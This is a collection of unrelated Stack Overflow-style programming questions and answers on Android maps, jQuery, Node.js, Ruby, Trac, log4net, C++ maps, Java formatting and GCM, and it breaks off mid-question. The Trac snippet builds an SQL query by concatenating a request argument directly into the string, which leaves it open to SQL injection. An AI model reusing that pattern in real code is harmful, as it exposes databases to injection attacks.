13341979	0	Adding OverlayItems to MapView is reallyslow, how to make it faster? <p>In my app there is a MapView, and I add OverlayItems to it, <strong>about 500</strong>, <strong>but it will be more even thousands in the future...</strong></p> <p>My problem is: When I switch to this Activity, <strong>I got a massive 3-4 sec blackout</strong> then it switches properly and I can navigate and tap on the map.</p> <p>Some months ago when the app only contained 50-150 GeoPoints in the mapView there was no blackout. So i think something is wrong with my OverlayItem adding to the mapView, it really slows then the app.</p> <p>I add my GeoPoints with a simple cycle on Activity startup.</p> <p>What can i do to make this Activity <strong>faster and prevent the blackout?</strong></p> <p>EDIT:</p> <p>Thanks to comments, i just realized <strong>i call populate()</strong> after every <strong>addOverlay(MyOverlayItem myoverlay)</strong> function call.</p> <p>I edited the code, now after the cycle i call it only once by:</p> <pre><code>public void populateNow() { populate(); } </code></pre> <p>But i just got a nice null pointer exception with this... Any ideas?</p> <pre><code>11-12 15:54:03.398: E/MapActivity(1534): Couldn't get connection factory client 11-12 15:54:03.531: E/AndroidRuntime(1534): FATAL EXCEPTION: main 11-12 15:54:03.531: E/AndroidRuntime(1534): java.lang.NullPointerException 11-12 15:54:03.531: E/AndroidRuntime(1534): at com.google.android.maps.ItemizedOverlay.getIndexToDraw(ItemizedOverlay.java:211) 11-12 15:54:03.531: E/AndroidRuntime(1534): at com.google.android.maps.ItemizedOverlay.draw(ItemizedOverlay.java:240) 11-12 15:54:03.531: E/AndroidRuntime(1534): at com.google.android.maps.Overlay.draw(Overlay.java:179) 11-12 15:54:03.531: E/AndroidRuntime(1534): at com.google.android.maps.OverlayBundle.draw(OverlayBundle.java:42) 11-12 15:54:03.531: E/AndroidRuntime(1534): at com.google.android.maps.MapView.onDraw(MapView.java:530) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.view.View.draw(View.java:6933) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.view.ViewGroup.drawChild(ViewGroup.java:1646) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.view.ViewGroup.drawChild(ViewGroup.java:1644) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.view.View.draw(View.java:6936) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.widget.FrameLayout.draw(FrameLayout.java:357) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.view.ViewGroup.drawChild(ViewGroup.java:1646) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.view.View.draw(View.java:6936) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.widget.FrameLayout.draw(FrameLayout.java:357) 11-12 15:54:03.531: E/AndroidRuntime(1534): at com.android.internal.policy.impl.PhoneWindow$DecorView.draw(PhoneWindow.java:1904) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.view.ViewRoot.draw(ViewRoot.java:1527) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.view.ViewRoot.performTraversals(ViewRoot.java:1263) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.view.ViewRoot.handleMessage(ViewRoot.java:1865) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.os.Handler.dispatchMessage(Handler.java:99) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.os.Looper.loop(Looper.java:123) 11-12 15:54:03.531: E/AndroidRuntime(1534): at android.app.ActivityThread.main(ActivityThread.java:3687) 11-12 15:54:03.531: E/AndroidRuntime(1534): at java.lang.reflect.Method.invokeNative(Native Method) 11-12 15:54:03.531: E/AndroidRuntime(1534): at java.lang.reflect.Method.invoke(Method.java:507) 11-12 15:54:03.531: E/AndroidRuntime(1534): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:842) 11-12 15:54:03.531: E/AndroidRuntime(1534): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:600) 11-12 15:54:03.531: E/AndroidRuntime(1534): at dalvik.system.NativeStart.main(Native Method) </code></pre>
26037672	0	 <p>Since you want to get all the elements whose immediate text contains 'Total amount', the <code>:contains('')</code> selector won't help you as it will return all the elements in the upper hierarchy of the actual element.<br> Try this <strong>JQuery</strong> code:</p> <pre><code>$('body *').each(function() { if($(this).clone().children().remove().end().text().indexOf("Total amount") &gt; -1) { // $(this) has your desired text as it's immediate text, so use it here } }); </code></pre> <p><strong>JSFiddle:</strong> <a href="http://jsfiddle.net/y00d1n5u/1/" rel="nofollow">http://jsfiddle.net/y00d1n5u/1/</a><br> Above code iterates over all the elements inside the <code>body</code> tag, strips each element's children and searches the remaining text for the search string.</p>
17047847	0	Forward data from UDP Socket to HTTP Server Node.js <p>I am looking to create a Web Service from data that is being retrieved via UDP connection and have decided to use Node.js and Socket.IO but, have come up short in that I think this combination does not give me the result I want. I was hoping someone could point me in the right direction. </p> <p>Right now, I have the following:</p> <pre><code>// require http, socket and socket.io var http = require('http'); var dgram = require('dgram'); var socketio = require('socket.io'); // setup HTTP server, Socket.IO and UDP Socket var server = http.createServer( handleRequest ), io = socketio.listen(server), socket = dgram.createSocket("udp4"); // Every time I receive a UDP Message socket.on("message", function(msg,rinfo) { // create a buffer we will store to var buffer = new Buffer(msg.length); // copy entire message into buffer msg.copy(buffer, 0, 0, msg.length); // if the message has length &gt; 3 if ( buffer.length &gt; 3 ) { .... take data off the socket .... // Create an XML document var xml = "&lt;?xml version=\"1.0\" encoding=\"UTF-8\" ?&gt;\n"; xml += ... ; xml += ... ; // emit a udp message event io.sockets.emit('udp message', xml); } }); function handleRequest(req, res) { res.writeHead(200, {'content-type': 'text/html'}); res.end("&lt;!doctype html&gt; \ &lt;html&gt;&lt;head&gt; \ &lt;script src='/socket.io/socket.io.js'&gt;&lt;/script&gt; \ &lt;script&gt; \ var socket = io.connect('localhost', {port: 8888}); \ socket.on('udp message', function(message) { res.end(message) }); \ &lt;/script&gt;&lt;/head&gt;&lt;/html&gt;"); } socket.bind(9876); server.listen(8888); </code></pre> <p>Everything works well recv'ing the UDP data stream, creating the XML documents and I can see the XML being sent to the WebSocket but, I cannot retrieve the XML. Basically, I want a to continuously stream the XML once a user connects to the Web Service</p> <p>Thoughts ? Dennis</p>
30004639	0	How to join a string by line endings in Ruby <p>I have an array of strings, which I wish to join by line ending:</p> <pre><code>a = ['first line', 'second line', 'third line'] </code></pre> <p>I want to join them in ruby in the most idiomatic way, using the OS default line ending, so that it would use <code>'\r\n'</code> to join the lines on windows and it would use <code>'\n'</code> to join the lines on *NIX. In python, I would do this:</p> <pre><code>os.linesep.join(a) </code></pre> <p>How would I do this idiomatically in ruby?</p>
16649558	0	TRAC. Return a javascript variable back to javascript <p>Is there any way to pass a javascript varialbe during process_request in trac 0.11? The code goes like this:</p> <pre><code>def process_request(self, req): component = req.args.get('component_name') milestones = [] db = self.env.get_db_cnx() cursor = db.cursor() milestones_sql = "SELECT name FROM milestone WHERE component = '" + component+ "'" cursor.execute(milestones_sql) milestones = cursor.fetchall() milestones = itertools.chain(*milestones) db.commit() return 'filter.js', {'milestones':json.dumps(list(milestones))}, 'text/plain' </code></pre> <p>I get arguments, do a SQL query, and want to return result to a script. Not as a string though.</p>
20632498	0	Provisioning profile issue in IOS <p>My Provisioning profile is going to expire in two days,so build in the device will not work after that. is there any method to update the old profile and to make work build as usual.</p> <p>thanks in advance </p>
32881147	0	 <p>You can't, and the sign up view is also inappropriate as it will ask for a password which isn't required. Instead you should show a new view asking for additional details then set those details onto the new user and save it.</p>
37669466	0	 <p>I am not quite sure what your worry is (and maybe you should clarify your question if that answer isn't sufficient), but <code>m[10] += 1;</code> doesn't get translated to <code>m[10] = m[10] + 1;</code> because <code>m</code> is user defined class type and overloaded operators don't get translated by the compiler, ever. For <code>a</code> and <code>b</code> objects with a user defined class type:</p> <ul> <li><code>a+=b</code> doesn't mean <code>a = a + b</code> (unless you make it so) </li> <li><code>a!=b</code> doesn't mean <code>!(a==b)</code> (unless you make it so)</li> </ul> <p>Also, function calls are never duplicated.</p> <p>So <code>m[10] += 1;</code> means call overloaded <code>operator[]</code> once; return type is a reference, so the expression is a lvalue; then apply the builtin operator <code>+=</code> to the lvalue.</p> <p>There is no order of evaluation issue. There isn't even multiple possible orders of evaluation!</p> <p>Also, you need to remember that the <code>std::map&lt;&gt;::operator[]</code> doesn't behave like <code>std::vector&lt;&gt;::operator[]</code> (or <code>std::deque</code>'s), because the <code>map</code> is a completely different abstraction: <code>vector</code> and <code>deque</code> are implementations of the Sequence concept (where position matters), but <code>map</code> is an associative container (where "key" matters, not position): </p> <ul> <li><code>std::vector&lt;&gt;::operator[]</code> takes a numerical index, and doesn't make sense if such index doesn't refer to an element of the vector.</li> <li><code>std::map&lt;&gt;::operator[]</code> takes a key (which can be any type satisfying basic constraints) and <strong>will create a (key,value) pair if none exists</strong>.</li> </ul> <p>Note that for this reason, <strong><code>std::map&lt;&gt;::operator[]</code> is inherently a modifying operation and thus non const</strong>, while <code>std::vector&lt;&gt;::operator[]</code> isn't inherently modifying but can allow modification via the returned reference, and is thus "transitively" const: <code>v[i]</code> will be a modifiable lvalue if <code>v</code> is a non-const vector and a const lvalue if <code>v</code> is a const vector.</p> <p>So no worry, the code has perfectly well defined behavior.</p>
7093864	0	 <p>I think I have worked out the issue. The steps follow:</p> <ul> <li>Create an an individual named LoggerRepository on each thread.</li> <li>Set the ThreadContexts property for the log file name.</li> <li>Use the XmlConfiguratior to configure the repository.</li> <li>Use the LogManager to Get the named logger (in the XML configuration file) using the named LoggerRepository for that thread.</li> </ul> <p>In return I get a new configured logger pointing to the respective file for that thread.</p> <p>The XML configuration is the same as it was originally and shown here for completeness:</p> <pre class="lang-xml prettyprint-override"><code>&lt;?xml version="1.0" encoding="utf-8" ?&gt; &lt;configuration&gt; &lt;configSections&gt; &lt;section name="log4net" type="log4net.Config.Log4NetConfigurationSectionHandler, log4net"/&gt; &lt;/configSections&gt; &lt;log4net&gt; &lt;logger name="ProductionLogger"&gt; &lt;appender-ref ref="XmlAppender"/&gt; &lt;level value="ALL"/&gt; &lt;/logger&gt; &lt;appender name="XmlAppender" type="log4net.Appender.FileAppender"&gt; &lt;file type="log4net.Util.PatternString" value="D:\Temp\Logs\%property{LogName}.log" /&gt; &lt;immediateFlush value="true"/&gt; &lt;appendToFile value="true" /&gt; &lt;layout type="log4net.Layout.SimpleLayout" /&gt; &lt;/appender&gt; &lt;/log4net&gt; &lt;/configuration&gt; </code></pre> <p>The code to create the loggers is below. Each time this code is run it is run in its own thread.</p> <pre><code>ILoggerRepository loggerRepository = LogManager.CreateRepository(logFileName + "Repository"); ThreadContext.Properties["LogName"] = logFileName; log4net.Config.XmlConfigurator.Configure(loggerRepository); ILog logger = LogManager.GetLogger(logFileName + "Repository", "ProductionLogger"); </code></pre> <p>This seems to work with no issues so far. I will be moving forward with this solution for the moment but I will update this post if I find out anything else.</p>
2396051	0	 <p>You should entirely avoid this problem by using a canonical link tag. <a href="http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" rel="nofollow noreferrer">http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html</a></p>
31790854	0	 <p>another nice solution for specific nodes, is to use the standard $title_prefix/suffix vars, which should be implemented by every theme. using the standard class element-invisible in page preprocess ..</p> <p>like:</p> <p> <pre><code>/** * Implements hook_preprocess_page(). */ function YOUR_THEME_preprocess_page(&amp;$variables) { if (isset($variables['node']) &amp;&amp; $variables['node']-&gt;nid == 1) { $variables['title_prefix'] = array('#markup' =&gt; '&lt;div class="element-invisible"&gt;'); $variables['title_suffix'] = array('#markup' =&gt; '&lt;/div&gt;'); } } </code></pre>
33355004	0	How to include collection data on aggregation <p>I have the following MongoDB document structure:</p> <pre><code>user: { name: 'user name', email: 'email@gmail.com', isBlocked: false, cvs: [{ title: "role title", technologies: [ {name: 'JavaScript'} {name: 'NodeJs'} ], agents: [ { _id:'some id1', contactRequest: true }, { _id:'some id2', contactRequest: false } ], }] } </code></pre> <p>How can I add <code>user.name</code> to the output if I perform an aggregation with grouping on embedded document's property, e.g.</p> <pre><code>db.users.aggregate([ { "$match": { "cvs.isBlocked": false, "cvs.moderated": true, "cvs.isVisible": true, "cvs.technologies.main": true } }, {"$unwind": "$cvs"}, {"$unwind": "$cvs.technologies"}, { "$match": { "cvs.isBlocked": false, "cvs.moderated": true, "cvs.isVisible": true, "cvs.technologies.main": true } }, { "$group": { "_id": { "type": "$cvs.occupationType", "proficiency": "$cvs.proficiencyLevel", "_id": "$cvs._id", "title": "$cvs.title" }, "technologies": { "$push": "$cvs.technologies.text" } } }, { "$project": { "type": "$_id.type", "proficiency": "$_id.proficiency", "_id": "$_id._id", "title": "$_id.title", "technologies": 1, } } ]) </code></pre> <p>$$ROOT refers to $cvs in that case.</p> <p>Additionally I would like to include <code>user.name</code> and <code>email</code> only if <code>user.isBlocked</code> is <code>false</code> and <code>agent.contactRequest</code> is <code>true</code>.</p>
32747235	0	URL redirection in mac osx yosemite <p>I need to redirect a particular url to my localhost in mac osx-yosemite. I'm able to do the port forwarding using the following. </p> <pre><code>echo " rdr pass inet proto tcp from any to any port 80 -&gt; 127.0.0.1 port 8080 rdr pass inet proto tcp from any to any port 443 -&gt; 127.0.0.1 port 8443 " | sudo pfctl -ef - </code></pre> <p>But can't figure out how to make a particular URL to be redirected to my localhost. Thanks for the help </p>
1222085	0	 <p>It's hard to tell without the complete stacktrace (please?), but I would guess that IN doesn't like being passed entities rather than keys. Try this:</p> <pre><code>users = [userA.key(), userB.key(), userC.key()] messages = Message.gql("WHERE user in :users", users=users).fetch(100 </code></pre>
26778714	0	Video play on hover <p>I have a selection of video thumbnails that I want to trigger to play/pause on hover. I have managed to get one of them to work, but I run into a problem with the others on the list. Attached is the fiddle of my code. There will be a div covering each html5 video so the hover needs to delegate to the video, which i'm unsure as to how to do.</p> <p><a href="http://jsfiddle.net/meh1aL74/" rel="nofollow">http://jsfiddle.net/meh1aL74/</a></p> <p>Preview of the html here - </p> <pre><code>&lt;div class="video"&gt; &lt;div class="videoListCopy"&gt; &lt;a href="videodetail.html" class="buttonMore"&gt; &lt;div class="breaker"&gt;&lt;div class="line"&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class="buttonContent"&gt; &lt;div class="linkArrowContainer"&gt; &lt;div class="iconArrowRight"&gt;&lt;/div&gt; &lt;div class="iconArrowRightTwo"&gt;&lt;/div&gt; &lt;/div&gt; &lt;span&gt;Others&lt;/span&gt; &lt;/div&gt; &lt;/a&gt; &lt;/div&gt; &lt;div class="videoSlate"&gt; &lt;video class="thevideo" loop&gt; &lt;source src="http://www.w3schools.com/html/movie.ogg" type="video/ogg"&gt; Your browser does not support the video tag. &lt;/video&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="video"&gt; &lt;div class="videoListCopy"&gt; &lt;a href="videodetail.html" class="buttonMore"&gt; &lt;div class="breaker"&gt;&lt;div class="line"&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class="buttonContent"&gt; &lt;div class="linkArrowContainer"&gt; &lt;div class="iconArrowRight"&gt;&lt;/div&gt; &lt;div class="iconArrowRightTwo"&gt;&lt;/div&gt; &lt;/div&gt; &lt;span&gt;Others&lt;/span&gt; &lt;/div&gt; &lt;/a&gt; &lt;/div&gt; &lt;div class="videoSlate"&gt; &lt;video class="thevideo" loop&gt; &lt;source src="http://www.w3schools.com/html/movie.ogg" type="video/ogg"&gt; Your browser does not support the video tag. &lt;/video&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>Preview of the javascript here - </p> <pre><code> var figure = $(".video"); var vid = $("video"); [].forEach.call(figure, function (item) { item.addEventListener('mouseover', hoverVideo, false); item.addEventListener('mouseout', hideVideo, false); }); function hoverVideo(e) { $('.thevideo')[0].play(); } function hideVideo(e) { $('.thevideo')[0].pause(); } </code></pre> <p>Thank you very much for your help.</p> <p>Oliver</p>
4838486	0	 <p>try adding a parser like this guy does in here: <a href="http://jsbin.com/enata/edit" rel="nofollow">http://jsbin.com/enata/edit</a></p> <p>here is an article too: <a href="http://www.terminally-incoherent.com/blog/2008/09/29/jquery-tablesorter-list-of-builtin-parserssorters/" rel="nofollow">http://www.terminally-incoherent.com/blog/2008/09/29/jquery-tablesorter-list-of-builtin-parserssorters/</a></p>
3247726	0	Java DecimalFormat problem <p>I would like to format numbers of type double with a German locale in Java. However something goes wrong since the output of the following code is : 0.0</p> <pre><code>package main; import java.text.DecimalFormat; import java.text.NumberFormat; import java.text.ParseException; import java.util.Locale; public class Test { private static String decimal2Format = "000.000"; public static void main(String args[]){ DecimalFormat format = (DecimalFormat)NumberFormat.getInstance(new Locale("de")); double value = 0; try { format.applyPattern(decimal2Format); value = format.parse("0.459").doubleValue(); } catch (ParseException e) { e.printStackTrace(); } System.out.println(value); } } </code></pre> <p>Do you have any ideas what is wrong or missing?</p> <p>Thanks, atticus</p>
37043321	0	How does this validation script work? <p>I have the following validation script that works fine, but I don't understand how it works and need your help with it.</p> <p>The HTML,</p> <pre><code>&lt;form action="xyz.php" method="post"&gt; &lt;div class="form-group"&gt; &lt;label class="sr-only" for="id"&gt;Enter ID&lt;/label&gt; &lt;input type="text" class="form-control" name="id" id="id" required&gt; &lt;/div&gt; &lt;button onclick="return validateID()" type="submit" name="submit" class="btn"&gt;Submit&lt;/button&gt; &lt;/form&gt; </code></pre> <p>And this is the JS,</p> <pre><code>&lt;script&gt; function validateID() { var id = document.getElementById("id").value; var regL= new RegExp("^([0-9][0-9][0-9])$"); if (!( (regL.test(id)) )) { window.location.href = "index-iderror.php"; return false; } else { return true; } } &lt;/script&gt; </code></pre> <p>Some questions that I have about this,</p> <ol> <li>What happens when false or true is returned to onclick? Does it decide whether the form data is or is not sent to xyz.php?</li> <li>How does the execution continue till the line <code>return false</code> after <code>window.location.href</code>? Shouldn't <code>window.location.href</code> direct to a new page stopping execution? The script does not work if <code>return false</code> is removed i.e. the unchecked form data is sent to xyz.php.</li> </ol>
23325687	0	 <p>The issue had to do with Uniform Server's (WAMP) setup php.ini file</p> <p>Uniform Server has a SEPARATE file for command line php commands.</p> <p>The name is php-cli.ini</p> <p>I added there the following two lines and everything was ok:</p> <pre><code>extension=php_pdo_mysql.dll extension=php_mbstring.dll </code></pre>
35350853	0	Angular2 - Different views with different template <p>With $stateProvider and abstract property in Angular 1, I could create different views with different template easily. For example in my application I have Login and Register pages which are using unauthTemplate. I have also Dashboard and Product pages that are using commonTemplate. In Angular 1, here is my states </p> <pre><code>$stateProvider .state('unauthTemplate', { abstract: true, url: '', controller: 'unauthTemplateController', templateUrl: '/app/common/unauthTemplate.html' }) .state('commonTemplate', { abstract: true, url: '', controller: 'commonTemplateController', templateUrl: '/app/common/commonTemplate.html' }) .state("unauthTemplate.login", { url: "/Login", controller: 'LoginController', templateUrl: '/app/views/login.html' }) .state("unauthTemplate.register", { url: "/Register", controller: 'RegisterController', templateUrl: '/app/views/register.html' }) .state("commonTemplate.dashboard", { url: "/dashboard", controller: 'DashboardController', templateUrl: '/app/views/dashboard.html' }) .state("commonTemplate.product", { url: "/product", controller: 'ProductController', templateUrl: '/app/views/product.html' }) </code></pre> <p>Since there is not "Abstract property" in RouteConfig in Angular2, I could not setup my app's route with the same approach in Angular 1. Can someone help me how can I have different view with different template. </p> <p>Thanks</p>
24612466	0	 <p>There are different possibilities of implementing a threading system for a virtual machine. The two extreme forms are:</p> <ol> <li><strong>Green threads</strong>: All Java <code>Thread</code> instances are managed within one native OS thread. This can cause problems if a method blocks within a <code>native</code> invocation what makes this implementation complex. In the end, implementers need to introduce <em>renegade threads</em> for holding native locks to overcome such limitations. </li> <li><strong>Native threads</strong>: Each Java <code>Thread</code> instance is backed by a native OS thread.</li> </ol> <p>For the named limitations of green threads, all modern JVM implementations, including HotSpot, choose the later implementation. This implies that the OS needs to reserve some memory for each created thread. Also, there is some runtime overhead for creating such a thread as it needs direct interaction with the underlying OS. At some point, these costs accumulate and the OS refuses the creation of new threads to prevent the stability of your overall system.</p> <p>Threads should therefore be pooled for resue. Object pooling is normally considered bad practice as many programers used it to ease the JVM's garbage collector. This is not longer useful as modern garbage collectors are optimized for handling short-living objects. Today, by pooling objects you might in contrary slow down your system. However, if an object is backed by costly native resources (as a <code>Thread</code>), pooling is still a recommended practice. Look into the <a href="http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ExecutorService.html" rel="nofollow"><code>ExecutorService</code></a> for a canonical way of pooling threads in Java.</p> <p>In general, consider that context switches of threads are expensive. You should not create a new thread for small tasks, this will slow your application down. Rather make your application less concurrent. You only have a number of cores which can work concurrently in the first place, creating more threads than your (non-virtual) cores will not improve runtime performance. Are you implementing some sort of divide-and-conquer algorithm? Look into Java's <a href="http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ForkJoinPool.html" rel="nofollow"><code>ForkJoinPool</code></a>.</p>
25527712	0	Set a general theme for progressDialog? <p>How can I set a theme for all progress bars that I create in my Project ?</p> <p>This is my style :</p> <pre><code>&lt;style name="MyTheme.ProgressDialog" parent="android:Theme.Holo.Light.Dialog.NoActionBar"&gt; &lt;item name="android:textColor"&gt;@android:color/anyColor&lt;/item&gt; &lt;item name="android:windowBackground"&gt;@android:color/transparent&lt;/item&gt; &lt;/style&gt; </code></pre> <p>And I set it manually in the constructor of each progressDialog I create :</p> <pre><code>loadingDialog = new ProgressDialog(this, R.style.MyTheme_ProgressDialog); </code></pre> <p>Can I set the theme to be the default for all progress dialogs I create without changin it in the constructor each time ?</p>
13084102	0	 <p>Let's suppose that you have a <code>QGridLayout</code> with 4 rows and 3 columns and you want to add buttons to it automatically from top to bottom and from left to right. That can easily be achieved if you are able to predict the position of the next button to be added. In our case:</p> <ul> <li>row = number of added buttons / number of columns </li> <li>column = number of added buttons % number of columns</li> </ul> <p>(other type of filling work similarly). Let's put it in code:</p> <pre><code>from PyQt4.QtGui import * class MyMainWindow(QMainWindow): def __init__(self, parent=None): super(MyMainWindow, self).__init__(parent) self.central = QWidget(self) self.grid = QGridLayout(self.central) self.rows = 4 self.cols = 3 self.items = self.grid.count() while(self.items &lt; (self.rows * self.cols)): self.addButton() self.setCentralWidget(self.central) def addButton(self): # the next free position depends on the number of added items row = self.items/self.cols col = self.items % self.cols # add the button to the next free position button = QPushButton("%s, %s" % (row, col)) self.grid.addWidget(button, row, col) # update the number of items self.items = self.grid.count() if __name__ == "__main__": import sys app = QApplication(sys.argv) ui = MyMainWindow() ui.show() sys.exit(app.exec_()) </code></pre>
26630479	0	Why does my <div> content </div> blink? <p>I'm kind of new to the Jquery world so can someone please help me understand my do my <code>$("#dothis").html("hit");</code> make the content only blink rather then simply show? i think that the function is repeating it self and that's what's causing it. </p> <p>html Code:</p> <pre><code> &lt;form&gt; &lt;select class="plcardFirst"&gt; &lt;option selected value=""&gt;-- Choose One --&lt;/option&gt; &lt;option value="1/11"&gt;A&lt;/option&gt; &lt;option value="1"&gt;1&lt;/option&gt; &lt;option value="2"&gt;2&lt;/option&gt; &lt;option value="3"&gt;3&lt;/option&gt; &lt;option value="4"&gt;4&lt;/option&gt; &lt;option value="5"&gt;5&lt;/option&gt; &lt;option value="6"&gt;6&lt;/option&gt; &lt;option value="7"&gt;7&lt;/option&gt; &lt;option value="8"&gt;8&lt;/option&gt; &lt;option value="9"&gt;9&lt;/option&gt; &lt;option value="10"&gt;10&lt;/option&gt; &lt;option value="10"&gt;J&lt;/option&gt; &lt;option value="10"&gt;Q&lt;/option&gt; &lt;option value="10"&gt;K&lt;/option&gt; &lt;/select&gt; &lt;select class="plcardSecond"&gt; &lt;option selected value=""&gt;-- Choose One --&lt;/option&gt; &lt;option value="1/11"&gt;A&lt;/option&gt; &lt;option value="1"&gt;1&lt;/option&gt; &lt;option value="2"&gt;2&lt;/option&gt; &lt;option value="3"&gt;3&lt;/option&gt; &lt;option value="4"&gt;4&lt;/option&gt; &lt;option value="5"&gt;5&lt;/option&gt; &lt;option value="6"&gt;6&lt;/option&gt; &lt;option value="7"&gt;7&lt;/option&gt; &lt;option value="8"&gt;8&lt;/option&gt; &lt;option value="9"&gt;9&lt;/option&gt; &lt;option value="10"&gt;10&lt;/option&gt; &lt;option value="10"&gt;J&lt;/option&gt; &lt;option value="10"&gt;Q&lt;/option&gt; &lt;option value="10"&gt;K&lt;/option&gt; &lt;/select&gt; &lt;select class="dlCard"&gt; &lt;option selected value=""&gt;-- Choose One --&lt;/option&gt; &lt;option value="1/11"&gt;A&lt;/option&gt; &lt;option value="1"&gt;1&lt;/option&gt; &lt;option value="2"&gt;2&lt;/option&gt; &lt;option value="3"&gt;3&lt;/option&gt; &lt;option value="4"&gt;4&lt;/option&gt; &lt;option value="5"&gt;5&lt;/option&gt; &lt;option value="6"&gt;6&lt;/option&gt; &lt;option value="7"&gt;7&lt;/option&gt; &lt;option value="8"&gt;8&lt;/option&gt; &lt;option value="9"&gt;9&lt;/option&gt; &lt;option value="10"&gt;10&lt;/option&gt; &lt;option value="10"&gt;J&lt;/option&gt; &lt;option value="10"&gt;Q&lt;/option&gt; &lt;option value="10"&gt;K&lt;/option&gt; &lt;/select&gt; &lt;input type="submit" value="Submit" id="Submit"&gt; &lt;/form&gt; &lt;div id="dothis"&gt; do this &lt;/div&gt; </code></pre> <p>Script:</p> <pre><code> &lt;script type="text/javascript"&gt; var valueFirst; var valueSecond; var dlCard; $(document).ready(function () { $(".plcardFirst").change(function() { valueFirst = $( ".plcardFirst" ).val();//player first card; }); $(".plcardSecond").change(function() { valueSecond = $( ".plcardSecond" ).val();//player second card }); $(".dlCard").change(function() { dlCard = $( ".dlCard" ).val();//dealer card }); $("#Submit").click(function(){ $("#dothis").html("hit"); }); }); &lt;/script&gt; </code></pre>
27133796	0	How to count all alphabetical characters in array? <p>So basically my objective is to make a program that takes the user input and reverses it and prints the inverse character back to user as an encoded message. Right now i need to print the statistics of the user entered string. How do i count the amount of occurrences of different letters from the user string. I have this so far.</p> <pre><code> import java.util.*; public class SecretCodeMachine { public static void main(String[]args) { //object accessing the non static methods SecretCodeMachine a = new SecretCodeMachine(); //input stream Scanner in = new Scanner (System.in); Scanner i = new Scanner (System.in); //prompt the user System.out.println("Please input your secret message."); String input = in.nextLine(); //calls the encodedMessage() method; equals the return value to varaible String encodedMessage = a.encodeMessage(input); //message and prompt System.out.println("Encoded message: " + encodedMessage); System.out.println("Enter the code in here to get the original message back."); String input2 = i.nextLine(); //if statements saying that if the input equals the encoed message... if (input2.equals(encodedMessage)) { //print this System.out.println("Original Message: " + input); } else { //prints when doesnt equal System.out.println("Message not found."); } //closes the input stream i.close(); in.close(); } //method for encoding the string from array public String encodeMessage(String pass) { //passes the parameter string and puts it in an array () char[] toArray = pass.toCharArray(); for (int i = 0; i &lt; toArray.length; i++) { //does the lower case characters if (toArray[i] &gt;= 'a' &amp;&amp; toArray[i] &lt;= 'z') { if (toArray[i] - 'a' &lt;= 13) toArray[i] = (char) ('z' - (toArray[i] - 'a')); else toArray[i] = (char) ('a' + ('z' - toArray[i])); } //does the upper case characters else if(toArray[i] &gt;= 'A' &amp;&amp; toArray[i] &lt;= 'Z') { if (toArray[i] - 'A' &lt;= 13) toArray[i] = (char) ('Z' - (toArray[i] - 'A')); else toArray[i] = (char) ('A' + ('Z' - toArray[i])); } //if the characters are non alphatbetic else { toArray[i] = toArray[i]; } } //converts the toArray back to new string String encodedMessage = new String(toArray); //returns the encodedMessage string return encodedMessage; } </code></pre> <p>}</p> <p>So how would i keep a track off all the letters that are entered by the user?</p>
9321485	0	 <p>You might not have write permissions to install a node module in the global location such as <code>/usr/local/lib/node_modules</code>, in which case run npm install -g package as root.</p>
29450067	0	 <p>Adding some more to the latest reply.. To get the particular node value you can use the below-- [<code>System.out.println(nodes.item(0).getTextContent());</code>]</p>
4166548	0	I want that image popup in html when user click on tumbnil <p>I want that when user click on image thumbnil then the image popup just like it does in this <a href="http://www.alpacafarmingguide.com/why.htm" rel="nofollow">click here</a></p> <p>plesase tell me the simplest way to do this as i am new to web development. please help me out I am waiting for you kind response.</p>
11273400	0	 <p>Sometimes, It happens, when your byte[] not decode properly after retrieving from database as blob type.</p> <p>So, You can do like this way, <strong>Encode - Decode</strong>,</p> <p>Encode the image before writing to the database:</p> <pre><code>ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); mBitmap.compress(Bitmap.CompressFormat.JPEG, THUMB_QUALITY, outputStream); mByteArray = outputStream.toByteArray(); // write this to database as blob </code></pre> <p>And then decode it like the from Cursor:</p> <pre><code>ByteArrayInputStream inputStream = new ByteArrayInputStream(cursor.getBlob(columnIndex)); Bitmap mBitmap = BitmapFactory.decodeStream(inputStream); </code></pre> <p>Also, If this not work in your case, then I suggest you to go on feasible way..</p> <ul> <li>Make a directory on external / internal storage for your application images.</li> <li>Now store images on that directory.</li> <li>And store the path of those image files in your database. So you don't have a problem on encoding-decoding of images.</li> </ul>
33297763	0	Force connection reestablishment from client app to GCM <p>We are using GCM for messaging from server to the client app. It is a standard implementation where installation of the client app talks to the gcm server to get the reg id, sends it to our server and our server uses that reg id to push messages to the app. Our requirement is that these push notifications should be instantaneous and as real time as possible.</p> <p>But the connection between GCM and the client app seems to disappear after a few minutes of inactivity. We have tried several things on our end: 1. Using an alarm manager to keep running a heartbeat intent that sends heartbeats to gcm. This does not work on custom android OSes where cleaning memory forces close of all app alarms. 2. Sending an upstream message from client to gcm in the hope that it establishes connection. 3. Using high priority messages from server to gcm hoping that would force a connection between gcm and app.</p> <p>None of it has worked so far. Any idea if there's an API in the play services framework on the client side to force establish a connection to gcm if the app determines there is no current connection based 